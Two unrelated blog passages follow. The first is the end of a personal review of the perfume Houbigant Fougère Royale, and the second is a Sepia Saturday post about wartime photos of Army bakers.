Along the way, both he and I noted a few things. On my hyper-pale skin, it pulled greener and more floral alongside the train tracks of a spectacular chypre, even in the drydown. I detected a lot of geranium and rose with the carnation and spice. With his not-so-pale, dark-haired, hirsute, green-eyed chemistry, it slanted much spicier, classier and in a plusher, darker, amber green and fern-ish direction. I also noted something else neither of us were quite prepared for.
It had a truly remarkable effect on Janice Divacat. She refuses to leave him alone for even a minute when he wears it. Half-joking spats ensued between the Mrs. (Janice Divacat!) and the sidechick (Yours truly) over who got to sit next to him. We eventually reached a compromise once she realized the Dude has two sides, and one could be hers. She'd bury her nose in his elbow with a sigh of pure pleasure – and promptly go to sleep with a purr.
I've been wanting to review Fougère Royale for a long, long time, ever since that hot Saturday afternoon in Florence, but I never imagined quite how much it would literally perfume my life since then for all the right reasons. Fougère Royale, you see, has become the Dude's 'The One', that perfumed self definition he had been looking for, a few scant millimeters above that other one – Memoir Man. It is incredibly classy, elegant, and is virile without trying too hard or overstating the issue. (Drakkar Noir, that would be you!) Longevity is excellent – I can get 12 hours wear out of two tiny sprays, but the Dude gets at least 15 out of four. It smells staggering on me, but on the Dude, it's a marvel – of modernity, of intricate perfumed art and not clichéd in the slightest.
Like so much else these past two years, it's a revelation. I call it Resurrection Royale. As soon as I can afford it, the Dude gets a refill bottle. And when I can afford the extrait, I'll buy that for him, too. Resurrection is a wonderful thing, especially in emerald green.
Houbigant Paris Fougère Royale is available as eau de parfum and as extrait from Luckyscent, First in Fragrance and directly from the Houbigant Paris website.
Notes: (via Fragrantica) Bergamot, lemon, chamomile, lavender, clary sage, carnation, geranium, cinnamon, rondeletia accord, rose, lilac, oak moss, patchouli, tonka bean, labdanum.
Disclosure: My sample came as part of a stunningly presented and very reasonably priced sample pack from Houbigant Paris, paid for by me. (At the time of writing, it is currently unavailable.) My reviews and the opinions I express are always my own.
With gratitude and thanks to Jan Gonzalez for The Bottle.
Photo: A macro of a fern, via lukeobrien.com.au


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This week's Sepia Saturday theme is about work, ideally it would include an image of a woman working but that seems to be so uneventful and ordinary that no one photographs it. Instead I'm including three photos which came to me as part of my aunt's photographic archive.
The photos all feature Army bakers probably around the time of World War II. My uncle, Pat Farraher, is the main person in each. One is very serious and I'd love to know who the Visiting Dignitary was.
Another is the complete antithesis –a frivolous one. Would you want these men making your bread and pastries? Unfortunately I don't have the background story behind any of the photos.
Inventive Sepians might conclude there's another link, because after all in the real world, cakes are often carried in boxes just like the women were packing in this week's theme photo. Not to mention that it would be as never-ending a task to feed many hungry soldiers as to fold all those boxes!